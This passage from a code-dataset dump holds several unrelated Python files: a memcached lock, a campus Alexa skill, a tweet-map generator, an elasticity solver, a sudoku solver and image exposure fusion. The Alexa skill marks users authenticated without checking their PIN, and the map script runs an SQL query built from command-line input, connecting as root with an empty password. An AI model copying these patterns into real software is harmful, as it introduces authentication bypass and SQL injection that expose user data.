'timeout': self.__timeout / 1000,\n 'retry_timeout': self.__retry / 1000,\n 'pool_idle_timeout': self.__idle / 1000,\n 'default_noreply': False\n }\n\n self.__client = pymemcache.HashClient(servers=servers, **options)\n\n def close(self, correlation_id: Optional[str]):\n \"\"\"\n Closes component and frees used resources.\n\n :param correlation_id: (optional) transaction id to trace execution through call chain.\n \"\"\"\n self.__client.quit()\n self.__client = None\n\n def __check_opened(self, correlation_id: Optional[str]):\n if not self.is_open():\n raise InvalidStateException(\n correlation_id,\n 'NOT_OPENED',\n 'Connection is not opened'\n )\n\n def try_acquire_lock(self, correlation_id: Optional[str], key: str, ttl: int) -> bool:\n \"\"\"\n Makes a single attempt to acquire a lock by its key.\n It returns immediately a positive or negative result.\n\n :param correlation_id: (optional) transaction id to trace execution through call chain.\n :param key: a unique lock key to acquire.\n :param ttl: a lock timeout (time to live) in milliseconds.\n :return: `true` if lock was successfull and `false` otherwise.\n \"\"\"\n self.__check_opened(correlation_id)\n\n lifetime_in_sec = int(ttl / 1000)\n\n result = self.__client.add(key, 'lock', lifetime_in_sec)\n return result is True\n\n def release_lock(self, correlation_id: Optional[str], key: str):\n \"\"\"\n Releases prevously acquired lock by its key.\n\n :param correlation_id: (optional) transaction id to trace execution through call chain.\n :param key: a unique lock key to release.\n \"\"\"\n self.__check_opened(correlation_id)\n\n return self.__client.delete(key)\n","sub_path":"pip_services3_memcached/lock/MemcachedLock.py","file_name":"MemcachedLock.py","file_ext":"py","file_size_in_byte":8429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"180560061","text":"\"\"\"\r\nThis is a Python template for Alexa to get you building skills (conversations) quickly.\r\n\"\"\"\r\nfrom __future__ import print_function\r\nfrom search_function import search_fun\r\nfrom web_function import start_web\r\nfrom web_function import Db_session\r\nfrom canvas_function import Canvas_Session\r\nimport web_function\r\nimport canvas_function\r\nimport sys\r\nimport logging\r\nimport pymysql\r\nimport bs4\r\n\r\n# --------------- Helpers that build all of the responses ----------------------\r\n\r\n\r\ndef build_speechlet_response(title, output, reprompt_text, should_end_session):\r\n return {\r\n 'outputSpeech': {\r\n 'type': 'PlainText',\r\n 'text': output\r\n },\r\n 'card': {\r\n 'type': 'Simple',\r\n 'title': \"SessionSpeechlet - \" + title,\r\n 'content': \"SessionSpeechlet - \" + output\r\n },\r\n 'reprompt': {\r\n 'outputSpeech': {\r\n 'type': 'PlainText',\r\n 'text': reprompt_text\r\n }\r\n },\r\n 'shouldEndSession': should_end_session\r\n }\r\n\r\n\r\ndef build_response(session_attributes, speechlet_response):\r\n return {\r\n 'version': '1.0',\r\n 'sessionAttributes': session_attributes,\r\n 'response': speechlet_response\r\n }\r\n\r\n\r\n# --------------- Functions that control the skill's behavior ------------------\r\n\r\n\"\"\"\r\nGet response function which will get the hours or location for an intent\r\n\"\"\"\r\ndef get_hours_response(intent):\r\n\r\n session_attributes = {}\r\n \r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Hours\"\r\n\r\n # How to get slot values from what the user said\r\n # item slot is the specific place the user is requesting information on\r\n # whatTime slot will delineate between a request for when a building opens vs. closes\r\n itemName = intent['slots']['item']['value'] # building name\r\n\r\n #TEST DB CODE\r\n #REMEMBER! I TURN OFF DB WHEN NOT IN USE\r\n # db_session = web_function.Db_session()\r\n # db_session.connect_to_db(db_session.rds_host, db_session.name, db_session.password, db_session.db_name)\r\n #Samuelson already added, here is the format to add new buildings to the db\r\n #(Building name, location of bulding, open time, close time, purpose tag)\r\n #db_session.add_building(\"Samuelson\", \"Near the Bistro\", \"08:00:00\", \"19:00:00\", \"classes\")\r\n\r\n if 'day' in intent['slots']:\r\n if 'value' in intent['slots']['day']:\r\n itemDay = intent['slots']['day']['value']\r\n slot_list = [itemName, 'hours', itemDay]\r\n speech_output = \"The \" + itemName + \" is available from \" + start_web(list(slot_list))\r\n else:\r\n slot_list = [itemName, 'hours']\r\n speech_output = \"The \" + itemName + \" is available from \" + start_web(list(slot_list)) \r\n else:\r\n slot_list = [itemName, 'hours']\r\n speech_output = \"The \" + itemName + \" is available from \" + start_web(list(slot_list)) \r\n \r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = False\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n\r\n\r\n\"\"\"\r\nGet response function which will find what an intent is\r\n\"\"\"\r\ndef get_fact_response(intent):\r\n session_attributes = {}\r\n\r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Hours\"\r\n\r\n #For example: What does the ACM club do?\r\n # Output\r\n speech_output = \"query to database that has table of facts?\"\r\n\r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = False\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n \r\n\"\"\"\r\nGet response function that returns the description of clubs\r\n\"\"\"\r\ndef get_club_Description_response(intent):\r\n session_attributes = {}\r\n\r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Club Description\"\r\n \r\n club = intent['slots']['club_name']['value']\r\n \r\n db_session = web_function.Db_session()\r\n if db_session.connect_to_db(db_session.rds_host, db_session.name, db_session.password, db_session.db_name):\r\n results = db_session.get_row_from_table(\"Clubs\", club)\r\n speech_output = club + \" is \" + results[3]\r\n else:\r\n speech_output = \"I'm sorry, we can't contact the database at the moment. Try again later.\"\r\n\r\n\r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = True\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n\r\ndef get_user_classes_response(intent):\r\n session_attributes = {}\r\n\r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Classes\"\r\n \r\n speech_output = \"\"\r\n \r\n db_session = web_function.Db_session()\r\n if db_session.connect_to_db(db_session.rds_host, db_session.name, db_session.password, db_session.db_name):\r\n results = db_session.get_row_from_table(\"Students\", 1234567)\r\n \r\n token = results[4]\r\n \r\n canvas = canvas_function.Canvas_Session(token)\r\n class_list = canvas.get_courses()\r\n \r\n speech_output = \"your current classes are \"\r\n for n in class_list:\r\n speech_output += n + \", \"\r\n else:\r\n speech_output = \"I'm sorry, we can't contact the database at the moment. Try again later.\"\r\n \r\n \r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = True\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n \r\n\r\ndef get_user_assignments_response(intent):\r\n session_attributes = {}\r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Classes\"\r\n \r\n speech_output = \"\"\r\n \r\n db_session = web_function.Db_session()\r\n if db_session.connect_to_db(db_session.rds_host, db_session.name, db_session.password, db_session.db_name):\r\n results = db_session.get_row_from_table(\"Students\", 1234567)\r\n \r\n token = results[4]\r\n \r\n canvas = canvas_function.Canvas_Session(token)\r\n assignment_list = canvas.get_assignments_on_day(\"2020-02-06\")\r\n \r\n speech_output = \"The assignments due are: \"\r\n for n in assignment_list:\r\n speech_output += n[1] + \" for the class \" + n[0] + \", \"\r\n else:\r\n speech_output = \"I'm sorry, we can't contact the database at the moment. Try again later.\"\r\n \r\n \r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = True\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n \r\n\r\n\"\"\"\r\nGet response function which will find where to get an intent\r\n\"\"\"\r\ndef get_item_response(intent):\r\n session_attributes = {}\r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Hours\"\r\n\r\n # for example: Where can I get a pizza? Where can I get my books?\r\n # How to get slot values from what the user said\r\n itemName = intent['slots']['item']['value']\r\n getItem = intent['slots']['getItem']['value']\r\n\r\n # Output\r\n speech_output = \"You can \" + getItem + \"\" + itemName + \" at \" + search_fun(itemName, getItem)\r\n\r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = False\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n\r\n\r\ndef authenticate(intent):\r\n \r\n session_attributes = {}\r\n \r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Staff\"\r\n\r\n # How to get slot values from what the user said\r\n sid = intent['slots']['StudentID']['value']\r\n pin = intent['slots']['AuthPIN']['value']\r\n\r\n speech_output = \"\"\r\n \r\n db_session = web_function.Db_session()\r\n if db_session.connect_to_db(db_session.rds_host, db_session.name, db_session.password, db_session.db_name):\r\n results = db_session.get_row_from_table(\"Students\", sid)\r\n \r\n speech_output = \"Hello, \" + results[1]\r\n \r\n session_attributes.update({\"isAuthenticated\":True})\r\n\r\n else:\r\n speech_output = \"I'm sorry, we can't contact the database at the moment. Try again later.\"\r\n\r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = False\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n \r\n\r\n\"\"\"\r\nGet response function which will find information about a staff member\r\n\"\"\"\r\ndef get_staff_response(intent):\r\n session_attributes = {}\r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Staff\"\r\n\r\n # How to get slot values from what the user said\r\n staffName = intent['slots']['staffName']['value']\r\n item = intent['slots']['officeHours']['value']\r\n\r\n # Output\r\n speech_output = staffName + \"'s \" + item + \" is \" + search_fun(staffName, item)\r\n\r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = False\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n\r\n\r\n\"\"\"\r\nGet response function which will find where an intent is located\r\n\"\"\"\r\ndef get_location_response(intent):\r\n session_attributes = {}\r\n # Some sort of title, doesn't seem to be too important, but should keep accurate\r\n card_title = \"Hours\"\r\n\r\n # How to get slot values from what the user said\r\n # item slot is the specific place the user is requesting information on\r\n itemName = intent['slots']['item']['value'] # building name\r\n itemStatus = intent['slots']['where']['value'] # this will just be where, may not be needed\r\n\r\n #TEST DB CODE\r\n #REMEMBER! I TURN OFF DB WHEN NOT IN USE\r\n # db_session = web_function.Db_session()\r\n # db_session.connect_to_db(db_session.rds_host, db_session.name, db_session.password, db_session.db_name)\r\n #Samuelson already added, here is the format to add new buildings to the db\r\n #(Building name, location of bulding, open time, close time, purpose tag)\r\n #db_session.add_building(\"Samuelson\", \"Near the Bistro\", \"08:00:00\", \"19:00:00\", \"classes\")\r\n \r\n speech_output = \"\"\r\n \r\n # If the user didn't say anything, Alexa can yell at you\r\n reprompt_text = \"You never responded to the first test message. Sending another one.\"\r\n\r\n # If this response should end the skill\r\n should_end_session = False\r\n\r\n # Return response\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n \r\n\r\n\"\"\"\r\nGet response function which will welcome the user to the skill\r\n\"\"\"\r\ndef get_welcome_response():\r\n session_attributes = {}\r\n \r\n card_title = \"Welcome\"\r\n \r\n speech_output = \"Welcome to central Connect! Please ask me a question about Central!\"\r\n \r\n # If the user either does not reply to the welcome message or says something\r\n # that is not understood, they will be prompted again with this text.\r\n reprompt_text = \"I don't know if you heard me, please ask me a question about Central!\"\r\n should_end_session = False\r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))\r\n\r\n#-------------------------Intent to Function Dictionary-----------------\r\n\r\n# Dictionary containing all intent definitions that are basic FAQ\r\nintent_dict = { \"Amazon.HelpIntent\":get_welcome_response,\r\n \"Hours\":get_hours_response,\r\n \"Club_Info\":get_club_Description_response,\r\n \"Facts\":get_fact_response,\r\n \"Staff\":get_staff_response,\r\n \"Authenticate\":authenticate\r\n }\r\n \r\n# Dictionary containing all intent definitions that use PII \r\npii_intent_dict = { \"Classes\":get_user_classes_response,\r\n \"Assignments\":get_user_assignments_response\r\n }\r\n# ------------------------ End ------------------------------------------\r\ndef handle_session_end_request():\r\n card_title = \"Session Ended\"\r\n speech_output = \"Thank you for trying CWU Connect. \" \\\r\n \"Have a nice day! \"\r\n # Setting this to true ends the session and exits the skill.\r\n should_end_session = True\r\n return build_response({}, build_speechlet_response(\r\n card_title, speech_output, None, should_end_session))\r\n\r\n\r\n# --------------- Events ------------------\r\ndef on_session_started(session_started_request, session):\r\n \"\"\" Called when the session starts.\r\n One possible use of this function is to initialize specific\r\n variables from a previous state stored in an external database\r\n \"\"\"\r\n # Add additional code here as needed\r\n pass\r\n\r\n\r\ndef on_launch(launch_request, session):\r\n \"\"\" Called when the user launches the skill without specifying what they\r\n want\r\n \"\"\"\r\n # Dispatch to your skill's launch message\r\n return get_welcome_response()\r\n\r\n\r\ndef on_intent(intent_request, session):\r\n \"\"\" Called when the user specifies an intent for this skill \"\"\"\r\n \r\n intent = intent_request['intent']\r\n intent_name = intent_request['intent']['name']\r\n \r\n hasAuth = False\r\n if 'attributes' in session:\r\n sessionAtr = session.get('attributes')\r\n if 'isAuthenticated' in sessionAtr:\r\n hasAuth = sessionAtr.get('isAuthenticated')\r\n \r\n #Be sure to add to the intent_dict once new functions have been added\r\n \r\n if intent_name in intent_dict:\r\n return intent_dict.get(intent_name)(intent)\r\n elif (intent_name in pii_intent_dict):\r\n if hasAuth:\r\n return pii_intent_dict.get(intent_name)(intent)\r\n else:\r\n out = \"I'm sorry, you have not authenticated yet. Say, \\\"log me in\\\" to authenticate\"\r\n return build_response({}, build_speechlet_response(\"No authentication\", out, None, False))\r\n elif intent_name == \"AMAZON.CancelIntent\" or intent_name == \"AMAZON.StopIntent\":\r\n return handle_session_end_request()\r\n else:\r\n raise ValueError(\"Invalid intent\")\r\n \r\n \r\ndef on_session_ended(session_ended_request, session):\r\n \"\"\" Called when the user ends the session.\r\n Is not called when the skill returns should_end_session=true\r\n \"\"\"\r\n print(\"on_session_ended requestId=\" + session_ended_request['requestId'] +\r\n \", sessionId=\" + session['sessionId'])\r\n # add cleanup logic here\r\n\r\n\r\n# --------------- Main handler ------------------\r\n\r\ndef lambda_handler(event, context):\r\n # if (event['session']['application']['applicationId'] !=\r\n # \"amzn1.echo-sdk-ams.app.[unique-value-here]\"):\r\n # raise ValueError(\"Invalid Application ID\")\r\n\r\n if event['session']['new']:\r\n on_session_started({'requestId': event['request']['requestId']},\r\n event['session'])\r\n\r\n if event['request']['type'] == \"LaunchRequest\":\r\n return on_launch(event['request'], event['session'])\r\n elif event['request']['type'] == \"IntentRequest\":\r\n return on_intent(event['request'], event['session'])\r\n elif event['request']['type'] == \"SessionEndedRequest\":\r\n return on_session_ended(event['request'], event['session'])","sub_path":"Voice-Activated-CWU-Dorm-v1-master/python code/canvas_function.py","file_name":"canvas_function.py","file_ext":"py","file_size_in_byte":17232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"274251405","text":"from keplergl import KeplerGl\nimport pandas as pd\nimport mysql.connector\nimport sys\nfrom hex_config import config\n\n\ntry:\n #conn = psycopg2.connect(database_connection)\n conn = mysql.connector.connect(host='localhost',\n database='cyberaware',\n user='root',\n password='')\n\nexcept:\n print(\"No pude conectarme a la base de datos\")\n\ndef generar_archivo():\n query =\"select * from retweets where id_tweet_original = {}\".format(sys.argv[1])\n df = pd.read_sql_query(query, con=conn)\n df['fecha_creacion'] = df['fecha_creacion'].astype(str)\n\n map_1 = KeplerGl()\n map_1.add_data(data=df, name='data_1')\n map_1.config = config\n map_1.save_to_html(data={'data_1': df}, config=config, file_name = 'mapa.html')\n\ngenerar_archivo()\nprint('Termine')","sub_path":"back/tweets/generar/GenerarHTML.py","file_name":"GenerarHTML.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"167007749","text":"# Linear elasticity on a cube through a body force \nfrom dolfin import *\n\n# Create mesh\nmesh = UnitCubeMesh(9, 9,9)\n\n# Create function space\nV = VectorFunctionSpace(mesh, \"Lagrange\", 2)\n\n# Create test and trial functions, and source term\nu, w = TrialFunction(V), TestFunction(V)\nb = Constant((1.0, 0.0, 0.0))\n\n# Elasticity parameters\nE, nu = 10.0, 0.3\nmu, lmbda = E/(2.0*(1.0 + nu)), E*nu/((1.0 + nu)*(1.0 -2.0*nu))\n\n# Stress\nsigma = 2*mu*sym(grad(u)) + lmbda*tr(grad(u))*Identity(w.cell().d)\n\n# Governing balance equation\nF = inner(sigma, grad(w))*dx - dot(b, w)*dx\n\n# Extract bilinear and linear forms from F\na, L = lhs(F), rhs(F)\n\n# Dirichlet boundary condition on entire boundary\nc = Constant((0.0, 0.0, 0.0))\nbc = DirichletBC(V, c, DomainBoundary())\n\n# Set up PDE and solve\nu = Function(V)\nproblem = LinearVariationalProblem(a, L, u, bcs=bc)\nsolver = LinearVariationalSolver(problem)\nsolver.parameters[\"symmetric\"] = True\nsolver.solve()\n\n# Write solution to file\nFile(\"cubeorig.pvd\") << u\nplot(u, interactive=True)\n","sub_path":"Cube_Fenics_Traction.py","file_name":"Cube_Fenics_Traction.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"110337459","text":"#! /usr/bin/python\nimport sys\n\nwith open(\"boards.txt\",\"r\") as r:\n temp = r.read().split('\\n')\n\nnums = [1,2,3,4,5,6,7,8,9]\nboards = []\nfor x in temp:\n\tx = x.split(',')\n\tfor y in x:\n\t\tboards.append(y)\nboards = boards[:-1]\n\ntracker = [0] * len(boards)\ndef cleantracker(board):\n t = 0\n while t < len(boards):\n if(boards[t] == '_'):\n pass\n else:\n tracker[t] = -1\n t += 1\n\ncleantracker(boards)\n\nCliques=[[0,1,2,3,4,5,6,7,8],\\\n[9,10,11,12,13,14,15,16,17],\\\n[18,19,20,21,22,23,24,25,26],\\\n[27,28,29,30,31,32,33,34,35],\\\n[36,37,38,39,40,41,42,43,44],\\\n[45,46,47,48,49,50,51,52,53],\\\n[54,55,56,57,58,59,60,61,62],\\\n[63,64,65,66,67,68,69,70,71],\\\n[72,73,74,75,76,77,78,79,80],\\\n[0,9,18,27,36,45,54,63,72],\\\n[1,10,19,28,37,46,55,64,73],\\\n[2,11,20,29,38,47,56,65,74],\\\n[3,12,21,30,39,48,57,66,75],\\\n[4,13,22,31,40,49,58,67,76],\\\n[5,14,23,32,41,50,59,68,77],\\\n[6,15,24,33,42,51,60,69,78],\\\n[7,16,25,34,43,52,61,70,79],\\\n[8,17,26,35,44,53,62,71,80],\\\n[0,1,2,9,10,11,18,19,20],\\\n[3,4,5,12,13,14,21,22,23],\\\n[6,7,8,15,16,17,24,25,26],\\\n[27,28,29,36,37,38,45,46,47],\\\n[30,31,32,39,40,41,48,49,50],\\\n[33,34,35,42,43,44,51,52,53],\\\n[54,55,56,63,64,65,72,73,74],\\\n[57,58,59,66,67,68,75,76,77],\\\n[60,61,62,69,70,71,78,79,80]\\\n]\n\ndef printboard(board):\n lenb = 0\n temp = []\n while lenb < len(board):\n temp.append(board[lenb])\n if len(temp) == 9:\n print(temp)\n #print('\\n')\n temp = []\n lenb += 1\n\ndef checkboard(board,index):\n for clique in Cliques:\n for x in clique:\n if x == index:\n i = 0\n j = 1\n while i < len(clique):\n while j < len(clique):\n if board[clique[i]] == board[clique[j]] and board[clique[i]] != '_':\n return False\n j += 1\n i += 1\n j = i + 1\n return True\n\ndef forced():\n box = 0\n ftrack = 0\n while box < len(boards):\n if tracker[box] != -1:\n num = 0\n temp = []\n while num < len(nums):\n boards[box] = str(nums[num])\n\n if(checkboard(boards,box) == True):\n temp.append(nums[num])\n\n if(len(temp) == 1):\n boards[box] = str(temp[0])\n ftrack +=1\n else:\n boards[box] = '_'\n\n num += 1\n\n tracker[box] = temp\n box += 1\n cleantracker(boards)\n return ftrack\n\ndef sudoku():\n x = forced()\n y = forced()\n while(x != forced()):\n x = forced()\n\n box = 0\n backtrack = 0\n\n while box < len(boards):\n if tracker[box] != -1:\n\n if backtrack == 0:\n num = 0\n else:\n #how do i go to the next available option\n #infinite loop when backtracking and setting\n #the value to the same\n box -= 2\n while tracker[box] > 0:\n if tracker[box] != -1:\n num = backtrack\n break\n box -= 1\n\n #looks through options of spot\n while num < len(tracker[box]):\n boards[box] = str(tracker[box][num])\n\n if(checkboard(boards,box) == True):\n #breks and moves on board placement\n backtrack = 0\n break\n\n if(checkboard(boards,box) == False):\n #look through the next numbers in nums\n boards[box] = '_'\n num += 1\n\n if(num == len(tracker[box])):\n #no number works, sets up backtrack\n boards[box] = '_'\n #backtrack += 1\n\n box += 1\n\n\n\nprintboard(boards)\n#sudoku()\nprint('\\n')\nprintboard(tracker)\nprint('\\n')\n#printboard(tracker)\nprintboard(boards)\n","sub_path":"extrawork/smartish.py","file_name":"smartish.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"178218138","text":"import geojson, datetime, json\nfrom collections import deque\nfrom housepy import config, log, util\nfrom pymongo import ASCENDING, DESCENDING\n\ndef assemble(self, search, limit, order, resolution):\n log.info(\"features.assemble\")\n if resolution != 0 and order != ASCENDING:\n return self.error(\"Cannot use resolution on reverse sorting\")\n try:\n total = self.db.features.find(search).count()\n results = list(self.db.features.find(search).sort([('properties.t_utc', order)]).limit(limit))\n # log.debug(json.dumps(result.explain(), indent=4))\n features = [fix_id(feature) for feature in results]\n if resolution != 0 and len(features):\n features = temporal_filter(features, resolution)\n returned = len(features)\n features = geojson.FeatureCollection(features) \n except Exception as e:\n return self.error(log.exc(e))\n log.info(\"Found %s features\" % len(features['features']))\n return features, total, returned\n\n\ndef fix_id(feature):\n feature['id'] = feature['_id']\n del feature['_id']\n return feature\n\ndef temporal_filter(features, resolution):\n try:\n\n log.info(\"--> starting temporal_filter\")\n first_t = features[0]['properties']['t_utc']\n dt = datetime.datetime.utcfromtimestamp(first_t)\n dt = dt.replace(hour=0, minute=0, second=0, microsecond=0)\n start_t = util.timestamp(dt)\n log.debug(\"start_date %s\" % util.datestring(start_t))\n log.debug(\"stop_date %s\" % util.datestring(features[-1]['properties']['t_utc']))\n log.debug(\"start_t %s\" % start_t)\n log.debug(\"step %s\" % resolution)\n\n results = []\n index_t = start_t\n index = 0\n while True:\n # log.debug(\"Checking %s...\" % util.datestring(index_t))\n while index < len(features) and features[index]['properties']['t_utc'] < index_t:\n index += 1\n if index == len(features):\n break\n if not (features[index]['properties']['t_utc'] > index_t + resolution):\n # log.debug(\"--> %s %s %s\" % (index, features[index]['id'], util.datestring(features[index]['properties']['t_utc'])))\n results.append(features[index])\n index_t += resolution\n\n log.info(\"--> done temporal_filter\")\n return results\n except Exception as e:\n log.error(log.exc(e))\n","sub_path":"api/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"21931845","text":"import os\nimport time\nimport cv2\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\n\nclass Log():\n @classmethod\n def log(cls, level, message):\n print(f'[{level}]: {message}')\n\n\n @classmethod\n def info(cls, message):\n cls.log('INFO', message)\n\n\n @classmethod\n def error(cls, message):\n cls.log('ERROR', message)\n\n\n\nclass Image():\n @classmethod\n def BRG2RGB(cls, img):\n return cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n\n @classmethod\n def resize(cls, img, width, height):\n return cv2.resize(img, (width, height), interpolation = cv2.INTER_AREA)\n\n\n @classmethod\n def read(cls, path, colorspace = 'bgr'):\n if colorspace == 'rgb':\n return cls.BRG2RGB(cv2.imread(path, cv2.IMREAD_COLOR))\n\n elif colorspace == 'gray':\n return cv2.imread(path, cv2.IMREAD_GRAYSCALE)\n\n elif colorspace == 'bgr':\n return cv2.imread(path, cv2.IMREAD_COLOR)\n \n else:\n return cv2.imread(path)\n\n\n\nclass Exposures:\n def __init__(self, \n path, \n ext = 'jpg', \n colorspace = 'bgr', \n evs = None, \n exposures = [],\n exposures_files = [],\n ef_file_name = 'ef.jpg', \n prediction_file_name = 'ef_prediction.jpg', \n model = None\n ):\n \n if os.path.exists(path):\n self.colorspace = colorspace\n self.dir = path\n self.sample_name = os.path.basename(self.dir)\n self.ef = None\n self.ef_prediction = None \n self.np_data = {\n 'data' : None,\n 'labels': None,\n }\n self.ef_file_name = ef_file_name\n self.prediction_file_name = prediction_file_name\n self.model = model\n\n if exposures:\n self.evs = [ev.split('.')[0] for ev in exposures]\n else:\n self.exposures = {}\n self.evs = evs or ['under', 'normal', 'over',]\n\n if exposures_files:\n self.exposures = exposures_files\n else:\n for ev in self.evs:\n self.exposures.update({\n ev: f'{path}/{ev}.{ext}',\n })\n\n for ev, path in self.exposures.items():\n if os.path.exists(path):\n self.exposures[ev] = Image.read(path, colorspace)\n else:\n raise Exception(f'Could not find {ev} exposure at {path}')\n\n\n self.size = self.exposures[self.evs[0]].shape\n\n\n if os.path.exists(os.path.join(self.dir, self.ef_file_name)):\n self.ef = Image.read(os.path.join(self.dir, self.ef_file_name), self.colorspace)\n \n else:\n raise Exception(f\"Invalid Directory {path}\")\n\n\n def pixel(self, i, j): \n if self.ef is None:\n self.create_ef()\n\n pixel_set = []\n for ev, exposure in self.exposures.items(): \n pixel_set += list(exposure[i][j])\n\n return [ pixel_set, list(self.ef[i][j]) ]\n\n\n def create_ef(self, align = False):\n Log.info(f'{self.dir} Creating Fusion')\n\n t1 = time.time()\n\n exposures = [*self.exposures.values()]\n if align:\n alignMTB = cv2.createAlignMTB()\n alignMTB.process(exposures, exposures)\n mergeMertens = cv2.createMergeMertens()\n exposureFusion = mergeMertens.process(exposures)\n\n exposureFusion = exposureFusion * 255\n\n t2 = time.time()\n\n cv2.imwrite( os.path.join(self.dir, self.ef_file_name), exposureFusion )\n self.ef = Image.read(os.path.join(self.dir, self.ef_file_name), self.colorspace)\n\n return t2 - t1\n\n \n def predict_ef(self):\n Log.info(f'{self.dir} Creating Fusion')\n print(\"Loading: \", self.model)\n model = tf.keras.models.load_model(self.model)\n\n t1 = time.time()\n\n self.create_np_data()\n\n fusion = (model.predict_on_batch(self.np_data['data'] / 255) * 255).reshape(self.exposures[self.evs[0]].shape)\n\n t2 = time.time()\n\n cv2.imwrite( os.path.join(self.dir, self.prediction_file_name), fusion)\n self.ef_prediction = Image.read(os.path.join(self.dir, self.prediction_file_name), self.colorspace)\n\n return t2 - t1\n\n\n def show_exposures(self, suplot_adjust = True, *figsize, **kwargs):\n fig = plt.figure(figsize=figsize)\n nb_exposures = self.exposures.__len__()\n cols = kwargs['cols'] if 'cols' in kwargs else nb_exposures\n rows = kwargs['rows'] if 'cols' in kwargs else 1\n \n for i in range(0, nb_exposures):\n fig.add_subplot(rows, cols, i + 1)\n if self.colorspace == 'bgr':\n plt.imshow(Image.BRG2RGB(self.exposures[self.evs[i]]))\n else:\n plt.imshow(self.exposures[self.evs[i]])\n\n # plt.subplot_tool\n if suplot_adjust:\n plt.subplots_adjust(left=0.05, right=0.99, top=1, bottom=0, wspace=0.17)\n\n plt.show()\n\n\n def show_ef(self):\n if self.ef is None:\n self.create_ef()\n\n if self.colorspace == 'bgr':\n plt.imshow(Image.BRG2RGB(self.ef))\n else:\n plt.imshow(self.ef)\n \n plt.show()\n\n\n def create_np_data(self, concate_dims = True):\n if self.np_data['data'] is None:\n # stack 3 exposures\n image = np.stack(list(self.exposures.values()), axis = -2)\n if concate_dims:\n # merge inner rgb arrays (3rd (,:,:2) dim)\n image = np.concatenate( tuple(image[:,:,i] for i in range(len(self.exposures))) , 2)\n image = image.reshape(len(image) * len(image[0]), len(image[0][0]))\n \n self.np_data['data'] = image\n\n if self.np_data['labels'] is None:\n if concate_dims:\n self.np_data['labels'] = self.ef.reshape(len(self.ef) * len(self.ef[0]), len(self.ef[0][0]))\n else:\n self.np_data['labels'] = self.ef\n\n\n def save_np_data(self, exposures_name = 'data', ef_name = 'labels'):\n if self.np_data['data'] is None or self.np_data['labels'] is None:\n self.create_np_data()\n\n e_save = os.path.join(self.dir, f\"{self.sample_name}_{exposures_name}.npy\")\n ef_save = os.path.join(self.dir, f\"{self.sample_name}_{ef_name}.npy\")\n\n np.save( e_save, self.np_data['data'] )\n np.save( ef_save, self.np_data['labels'] )\n\n\n def load_np_data(self, exposures_name = 'data', ef_name = 'labels'):\n if self.np_data['data'] is None or self.np_data['labels'] is None:\n self.create_np_data()\n\n e_save = os.path.join(self.dir, f\"{self.sample_name}_{exposures_name}.npy\")\n ef_save = os.path.join(self.dir, f\"{self.sample_name}_{ef_name}.npy\")\n\n self.np_data['data'] = np.load( e_save )\n self.np_data['labels'] = 